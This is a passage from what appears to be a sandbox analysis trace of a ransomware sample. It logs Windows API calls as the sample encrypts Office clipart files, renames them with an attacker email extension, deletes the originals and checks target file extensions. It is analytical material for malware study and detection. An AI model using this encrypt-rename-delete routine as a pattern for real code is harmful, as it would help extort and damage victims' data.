nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x804, lpOverlapped=0x0) returned 1 [0059.996] WriteFile (in: hFile=0x364, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x810, lpOverlapped=0x0) returned 1 [0059.997] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.997] WriteFile (in: hFile=0x364, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0059.998] SetEndOfFile (hFile=0x364) returned 1 [0059.998] CloseHandle (hObject=0x364) returned 1 [0059.998] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.998] SetEndOfFile (hFile=0x368) returned 1 [0059.999] CloseHandle (hObject=0x368) returned 1 [0059.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0060.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0060.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0060.000] lstrlenW (lpString=".doc") returned 4 [0060.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.000] lstrlenW (lpString=".docx") returned 5 [0060.000] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.000] lstrlenW (lpString=".pdf") returned 4 [0060.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.000] lstrlenW (lpString=".xls") returned 4 [0060.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.000] lstrlenW (lpString=".xlsx") returned 5 [0060.000] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.000] lstrlenW (lpString=".ppt") returned 4 [0060.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0060.000] lstrlenW (lpString=".zip") returned 4 [0060.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.000] lstrlenW (lpString=".rar") returned 4 [0060.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.000] lstrlenW (lpString=".bz2") returned 4 [0060.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.000] lstrlenW (lpString=".7z") returned 3 [0060.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0060.001] lstrlenW (lpString=".dbf") returned 4 [0060.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0060.001] lstrlenW (lpString=".1cd") returned 4 [0060.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0060.001] lstrlenW (lpString=".jpg") returned 4 [0060.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.001] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.001] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0060.001] GetLastError () returned 0x0 [0060.001] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x15cc, lpOverlapped=0x0) returned 1 [0060.165] WriteFile (in: hFile=0x364, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x15d0, lpOverlapped=0x0) returned 1 [0060.166] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.166] WriteFile (in: hFile=0x364, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0060.166] SetEndOfFile (hFile=0x364) returned 1 [0060.172] CloseHandle (hObject=0x364) returned 1 [0060.173] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.173] SetEndOfFile (hFile=0x368) returned 1 [0060.176] CloseHandle (hObject=0x368) returned 1 [0060.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0060.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0060.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0060.177] lstrlenW (lpString=".doc") returned 4 [0060.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.177] lstrlenW (lpString=".docx") returned 5 [0060.177] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.177] lstrlenW (lpString=".pdf") returned 4 [0060.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.177] lstrlenW (lpString=".xls") returned 4 [0060.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.177] lstrlenW (lpString=".xlsx") returned 5 [0060.177] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.177] lstrlenW (lpString=".ppt") returned 4 [0060.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0060.177] lstrlenW (lpString=".zip") returned 4 [0060.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.177] lstrlenW (lpString=".rar") returned 4 [0060.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.177] lstrlenW (lpString=".bz2") returned 4 [0060.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.177] lstrlenW (lpString=".7z") returned 3 [0060.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0060.177] lstrlenW (lpString=".dbf") returned 4 [0060.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0060.177] lstrlenW (lpString=".1cd") returned 4 [0060.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0060.178] lstrlenW (lpString=".jpg") returned 4 [0060.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.178] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.178] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0060.179] GetLastError () returned 0x0 [0060.179] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xaac, lpOverlapped=0x0) returned 1 [0060.254] WriteFile (in: hFile=0x38c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xab0, lpOverlapped=0x0) returned 1 [0060.255] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.255] WriteFile (in: hFile=0x38c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0060.255] SetEndOfFile (hFile=0x38c) returned 1 [0060.255] CloseHandle (hObject=0x38c) returned 1 [0060.256] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.256] SetEndOfFile (hFile=0x368) returned 1 [0060.256] CloseHandle (hObject=0x368) returned 1 [0060.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0060.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0060.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0060.257] lstrlenW (lpString=".doc") returned 4 [0060.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.257] lstrlenW (lpString=".docx") returned 5 [0060.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.257] lstrlenW (lpString=".pdf") returned 4 [0060.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.257] lstrlenW (lpString=".xls") returned 4 [0060.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.257] lstrlenW (lpString=".xlsx") returned 5 [0060.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.257] lstrlenW (lpString=".ppt") returned 4 [0060.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0060.258] lstrlenW (lpString=".zip") returned 4 [0060.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.258] lstrlenW (lpString=".rar") returned 4 [0060.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.258] lstrlenW (lpString=".bz2") returned 4 [0060.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.258] lstrlenW (lpString=".7z") returned 3 [0060.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0060.258] lstrlenW (lpString=".dbf") returned 4 [0060.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0060.258] lstrlenW (lpString=".1cd") returned 4 [0060.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0060.258] lstrlenW (lpString=".jpg") returned 4 [0060.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.258] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.258] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0060.259] GetLastError () returned 0x0 [0060.259] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xda6, lpOverlapped=0x0) returned 1 [0060.260] WriteFile (in: hFile=0x38c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xdb0, lpOverlapped=0x0) returned 1 [0060.261] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.261] WriteFile (in: hFile=0x38c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0060.261] SetEndOfFile (hFile=0x38c) returned 1 [0060.261] CloseHandle (hObject=0x38c) returned 1 [0060.262] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.262] SetEndOfFile (hFile=0x368) returned 1 [0060.262] CloseHandle (hObject=0x368) returned 1 [0060.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0060.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0060.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0060.263] lstrlenW (lpString=".doc") returned 4 [0060.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.263] lstrlenW (lpString=".docx") returned 5 [0060.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.263] lstrlenW (lpString=".pdf") returned 4 [0060.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.263] lstrlenW (lpString=".xls") returned 4 [0060.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.264] lstrlenW (lpString=".xlsx") returned 5 [0060.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.264] lstrlenW (lpString=".ppt") returned 4 [0060.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0060.264] lstrlenW (lpString=".zip") returned 4 [0060.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.264] lstrlenW (lpString=".rar") returned 4 [0060.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.264] lstrlenW (lpString=".bz2") returned 4 [0060.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.264] lstrlenW (lpString=".7z") returned 3 [0060.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0060.264] lstrlenW (lpString=".dbf") returned 4 [0060.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0060.264] lstrlenW (lpString=".1cd") returned 4 [0060.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0060.264] lstrlenW (lpString=".jpg") returned 4 [0060.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.265] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.265] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0060.265] GetLastError () returned 0x0 [0060.265] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0060.573] WriteFile (in: hFile=0x38c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0060.594] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.594] WriteFile (in: hFile=0x38c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0060.594] SetEndOfFile (hFile=0x38c) returned 1 [0060.594] CloseHandle (hObject=0x38c) returned 1 [0060.601] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.601] SetEndOfFile (hFile=0x368) returned 1 [0060.611] CloseHandle (hObject=0x368) returned 1 [0060.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0064.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0064.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0064.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0064.118] lstrlenW (lpString=".doc") returned 4 [0064.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.118] lstrlenW (lpString=".docx") returned 5 [0064.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.118] lstrlenW (lpString=".pdf") returned 4 [0064.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.118] lstrlenW (lpString=".xls") returned 4 [0064.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.118] lstrlenW (lpString=".xlsx") returned 5 [0064.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.118] lstrlenW (lpString=".ppt") returned 4 [0064.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0064.118] lstrlenW (lpString=".zip") returned 4 [0064.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.118] lstrlenW (lpString=".rar") returned 4 [0064.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.118] lstrlenW (lpString=".bz2") returned 4 [0064.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.119] lstrlenW (lpString=".7z") returned 3 [0064.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0064.119] lstrlenW (lpString=".dbf") returned 4 [0064.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0064.119] lstrlenW (lpString=".1cd") returned 4 [0064.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0064.119] lstrlenW (lpString=".jpg") returned 4 [0064.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.632] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.632] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0064.633] GetLastError () returned 0x0 [0064.633] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0065.800] WriteFile (in: hFile=0x358, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0066.160] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.160] WriteFile (in: hFile=0x358, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0066.160] SetEndOfFile (hFile=0x358) returned 1 [0066.160] CloseHandle (hObject=0x358) returned 1 [0066.160] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.160] SetEndOfFile (hFile=0x318) returned 1 [0066.161] CloseHandle (hObject=0x318) returned 1 [0066.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0066.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0066.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0066.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0066.161] lstrlenW (lpString=".doc") returned 4 [0066.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.161] lstrlenW (lpString=".docx") returned 5 [0066.161] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0066.161] lstrlenW (lpString=".pdf") 